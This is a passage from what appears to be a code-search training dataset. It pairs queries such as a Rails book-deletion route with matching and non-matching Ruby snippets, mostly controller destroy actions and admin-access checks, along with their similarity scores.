"def admin_user\n redirect_to(news_index_path) unless is_admin?\n end",
"def restrictToAdmin! ; redirect to('/login'),303 unless admin? ; end",
"def admin_only\n if !Volt.current_user.admin\n redirect_to '/login'\n end\n end",
"def restrict_to_admin\n unless is_admin\n flash[:danger] = \"You are not an administrator.\"\n redirect_to root_url\n end\n end",
"def admin_only\n unless current_user.admin?\n redirect_to :back, :alert => \"Access denied.\"\n end\n end",
"def admin_only\n return if admin_user?\n\n add_message 'Insufficient permission to view page'\n redirect_to '/'\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def admin_only\n unless current_user.admin\n redirect_to home_path, notice: \n \"You must be an admin to perform that function!\"\n end\n end",
"def admin_required\n redirect_to(\"/\") unless admin?\n end",
"def admin_user\n render_forbidden unless current_user.admin?\n end",
"def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end",
"def admin_only\n false\n end",
"def check_admin\n redirect_to new_admin_session_path unless is_admin?\n end",
"def require_admin\n redirect_to(root_path) unless current_user.admin?\n end",
"def must_be_admin!\n access_denied! unless current_admin?\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def require_admin\n unless admin?\n flash[:notice] = \"Sorry, only administrators can do that.\"\n redirect_to :controller => 'typus', :action => 'dashboard'\n end\n end",
"def require_admin\n #byebug\n redirect_to user_path(current_user) unless current_user.role === \"Admin\"\n end",
"def checkAdmin\n if !admin_signed_in?\n # if current user is not an admin then can't access the page like add teacher,department,college and new subject\n redirect_to root_path, notice: \"Only Admin Can Access This Page\"\n end\n end",
"def may_edit_pages(user)\n true\n end",
"def require_admin\n redirect_to root_path unless admin_logged_in?\n end",
"def require_admin\n redirect_to root_path unless @current_user.admin?\n end",
"def admin_person\n redirect_to(root_url) unless current_person.admin?\n end",
"def admin_person\n redirect_to(root_url) unless current_person.admin?\n end",
"def require_admin\n unless admin?\n flash[:warning] = \"Sorry, only administrators can do that.\"\n redirect_to Warnings_url\n end\n end",
"def is_in_admin_view\n !request.path.match(\"/admin\").nil?\n end",
"def is_in_admin_view\n !request.path.match(\"/admin\").nil?\n end",
"def admin_only!\n\tif !current_user || !current_user.administrator\n\t\tredirect \"/\"\n\tend\nend",
"def admin_only\n\t\t\tif logged_in?\n\t\t\t\tif User.find_by(id: current_user.id.to_i).admin != true\n\t\t\t\t\tredirect_to root_path, :alert => \"Odmowa dostępu musisz być adminem\"\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def require_admin_permission\n redirect_to tables_path, notice: 'Necesita permisos de administrador para visualizar la configuracion' unless current_user_admin?\n end",
"def show\n is_admin?\n end",
"def only_authorize_admin!\n authorize!(is?(:admin))\n end",
"def admin_user\n redirect_to recipes_path unless current_user.admin?\n end",
"def admin_in!\n access_denied! unless current_user.admin?\n end",
"def new\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n @new_admin=Admin.new\n end",
"def show\n isadmin\n end",
"def admin_user\n redirect_to categories_index_url unless current_user.admin?\n end",
"def only_your_profile_page\n @admin = Admin.find(params[:admin_id])\n\n if current_admin != @admin\n redirect_to sectors_path, notice: \"Access denied! You can only view your own profile page.\"\n end\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_user\n redirect_to(root_url) unless correct_user.admin? \n end",
"def authorize_admin_path_only\n @show_to_admin_only = false\n if request.path =~ /admin/\n authorize\n @show_to_admin_only = true\n end\n end",
"def admin_user\n redirect_to(items_path) unless current_user.admin?\n end",
"def allow_if_admin\n unless is_admin?\n flash[:danger] = \"Administration permissions needed to access to this page\"\n redirect_to new_user_session_path\n end\n end",
"def ensure_admin_user!\n redirect_to(news_path, :alert => \"You may not perform this action on News!\") and return unless user_signed_in? && current_user.admin?\n end",
"def require_admin\n unless admin?\n flash[:warning] = \"Sorry, only administrators can do that.\"\n redirect_to messages_url\n end\n end",
"def show\n admin_only do\n end\n end",
"def admins_only\n if current_user.nil? or !current_user.is_admin?\n # Silently redirect, no need to tell anyone why. If they're\n # not an admin, they have no business here\n redirect_to root_path\n end\n end",
"def authorize_admin\n redirect_to(:controller => 'main', :action => 'index') and return false unless @logged_in_user.is_admin?\n end",
"def admin_only\n deny_access(\"You must be signed in as an admin to access this page.\") unless signed_in_as_admin?\n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def admin_cannot_actions\n [:new, :create].freeze\n end",
"def ensure_admin_user\n redirect_to dashboard_index_path unless is_admin?\n end",
"def show\n if !session[:is_admin]\n redirect_to root_url\n end\n end",
"def check_if_should_be_admin\n end",
"def redirect_unless_admin\n redirect_to root_path unless current_user && current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end",
"def admin_required\n if current_user && current_user.admin\n return\n end\n redirect_to \"/login\", notice: 'Logga in som administratör.'\n end",
"def admin_only\n @user = current_user\n if @user.role != \"admin\"\n redirect_to root_path\n end\n end",
"def admin_only\n current_client == current_user\n unless current_user.admin? || @client == current_user\n redirect_to clients_path, :alert => \"Access denied.\"\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\nend",
"def authorizeAdmin\n redirect_to '/adminlogin' unless admin_user\n end",
"def admin_user\n redirect_to(root_path) unless current_user.admin?\n end",
"def admin_only_view\n if !current_user.is_a? Admin and current_user.type != \"AdminAssistant\"\n flash[:error] = \"You are not authorized to view this page.\"\n redirect_to :root\n # Explictly tell the caller that this check failed\n return false\n else\n # Explictly tell the caller that this check was successful\n return true\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def check_if_admin\n unless current_user.admin\n redirect_to \"/login\"\n end\n end",
"def is_admin?\n redirect_to regulate_admin_regulate_pages_path if !@is_admin\n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def authorize_admin\n redirect_to root_path, notice: \"You don't have access to admin pages.\" if !current_user.admin?\n end",
"def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n \n end",
"def user_is_admin\n unless current_user.admin?\n flash[:notice] = \"You may only view existing scenarios.\"\n redirect_to root_path\n end\n end",
"def new?\n super && !user.admin? && not_a_visitor && !user_has_other_application?\n end",
"def admin_user\n \t\tredirect_to(root_url) unless current_user.admin?\n \tend",
"def user_only\n redirect_back(fallback_location: admin_dashboards_path) if current_user.admin?\n end",
"def index?\n not admin.nobody?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? \n end",
"def ensure_author_is_admin\n unless current_author_is_admin?\n redirect_to :root\n end \n end",
"def check_admin\n return redirect_to user_dashboard_path unless current_user.is_admin?\n end",
"def admin_user\n redirect_to('/') unless current_user.isadmin?\n end",
"def show\n\t\trequire_admin!\n\tend",
"def admin_actions\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end",
"def require_admin\n end",
"def admin_user\n redirect_to(current_user) unless current_user.admin?\n end",
"def check_admin\n redirect_to :root unless current_user.admin?\n end",
"def user_is_admin\n redirect_to root_path unless current_user && current_user.is_admin?\n end",
"def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end",
"def admin_only_mode\n unless current_user.try(:admin?)\n unless params[:controller] == \"visitors\" || params[:controller] == \"registrations\" || params[:controller] == \"devise/sessions\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n\n if params[:controller] == \"visitors\" && params[:action] == \"index\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n end\n\n puts params\n puts params[:controller] == \"devise/sessions\"\n end",
"def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end",
"def show\n is_admin?\n end",
"def authorize_admin!\n redirect_to login_path unless current_user\n end",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def is_in_admin_view?\n !request.path.match(\"admin\").nil?\n end",
"def index\n prevent_non_admin\n end"
] |
[
"0.7284695",
"0.72518456",
"0.7233384",
"0.717837",
"0.71589315",
"0.7144592",
"0.7095423",
"0.709113",
"0.70763695",
"0.70763695",
"0.70763695",
"0.7070386",
"0.7046776",
"0.7044493",
"0.7011657",
"0.7011623",
"0.6999296",
"0.6998323",
"0.69762933",
"0.6958852",
"0.6946455",
"0.69461566",
"0.6945626",
"0.6939441",
"0.6914201",
"0.6902083",
"0.6890944",
"0.6890944",
"0.687974",
"0.68654907",
"0.68654907",
"0.68613434",
"0.6857507",
"0.68288755",
"0.6825139",
"0.6820586",
"0.68189",
"0.681731",
"0.68138975",
"0.6809795",
"0.68065834",
"0.6806544",
"0.6797863",
"0.6797863",
"0.6797863",
"0.679463",
"0.6794392",
"0.6794359",
"0.6791214",
"0.67875427",
"0.6787112",
"0.67796636",
"0.67781866",
"0.67759037",
"0.67739284",
"0.6761414",
"0.6752381",
"0.67510474",
"0.67464405",
"0.67459834",
"0.67435896",
"0.67414725",
"0.6740612",
"0.67382824",
"0.6738189",
"0.6732515",
"0.6728614",
"0.6724614",
"0.67177105",
"0.6716057",
"0.67159885",
"0.67157114",
"0.67124605",
"0.6712266",
"0.67010003",
"0.66990244",
"0.66985434",
"0.66842544",
"0.6675332",
"0.6666139",
"0.66661143",
"0.66650593",
"0.66608626",
"0.66599464",
"0.6657944",
"0.66570294",
"0.665559",
"0.66509557",
"0.66470724",
"0.6643298",
"0.6639423",
"0.66390395",
"0.6638363",
"0.66370034",
"0.6633346",
"0.6632756",
"0.6629977",
"0.6627153",
"0.66236126",
"0.66174567",
"0.6616234"
] |
0.0
|
-1
|
DELETE /books/1 DELETE /books/1.json
|
def destroy
@book.destroy
respond_to do |format|
format.html { redirect_to books_url, notice: 'Book was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def destroy\n book = Book.find(params[:id])\n book.destroy\n \n render json: {}, status: 204\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end \n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @title = \"Destroy Book\"\n\n # @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_book.destroy\n\n head :no_content\n end",
"def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :ok }\r\n end\r\n end",
"def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n \n format.json { render json: @book, status: :created, location: @book }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end \n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to user_books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = current_user.books.find(params[:id])\n @book.destroy\n render json { head :no_content }\n end",
"def destroy\n @book = Book.find_by_sql(\"SELECT * FROM Books B WHERE B.id = \" + params[:id]).first()\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/books\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: '削除されました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ebooks.destroy :id\n respond_to do |format|\n format.html { redirect_to ebooks_url, notice: 'Ebook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_uri, notice: '本を削除しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: \"Book was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: \"Book was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: \"Book was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book1.destroy\n respond_to do |format|\n format.html { redirect_to book1s_url, notice: \"Book1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_path, notice: 'Book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: t('common.message.destroyed_success')}\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n head :no_content\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to book_url, notice: 'Book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: '書籍が削除されました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = current_user.books.find(params[:id])\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: @book.title + ' の削除に成功しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @book.destroy\r\n respond_to do |format|\r\n format.html { redirect_to books_url, notice: 'Book was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to admin_books_url, notice: 'Book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to admin_books_url, notice: 'Book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@book = Book.find(params[:id])\n @book = current_user.books.find(params[:id])\n book2delete = @book.title\n @book.destroy\n flash[:notice] = \"Removed: #{book2delete}\"\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to current_user_path, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @readbook.destroy\n respond_to do |format|\n format.html { redirect_to readbooks_url, notice: 'Readbook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cook_book = CookBook.find(params[:id])\n @cook_book.destroy\n\n respond_to do |format|\n format.html { redirect_to cook_books_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7483369",
"0.74432313",
"0.74432313",
"0.7437104",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74332035",
"0.74191445",
"0.7401149",
"0.7401149",
"0.7401149",
"0.7401149",
"0.7401149",
"0.7401149",
"0.7401149",
"0.73937035",
"0.73786527",
"0.73755044",
"0.7370151",
"0.7349041",
"0.7299016",
"0.7299016",
"0.7297784",
"0.72802705",
"0.7273616",
"0.721728",
"0.71915567",
"0.7171723",
"0.7169834",
"0.71657383",
"0.7146628",
"0.7145718",
"0.7145718",
"0.7145718",
"0.71404934",
"0.714003",
"0.7136929",
"0.7128527",
"0.7127452",
"0.7127321",
"0.7117383",
"0.71044296",
"0.70921683",
"0.7084222",
"0.7083472",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7078116",
"0.7062836",
"0.7062836",
"0.7054724",
"0.7048394",
"0.704381",
"0.7036276",
"0.7028351"
] |
0.7147981
|
64
|
Use callbacks to share common setup or constraints between actions.
|
def set_book
@book = Book.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
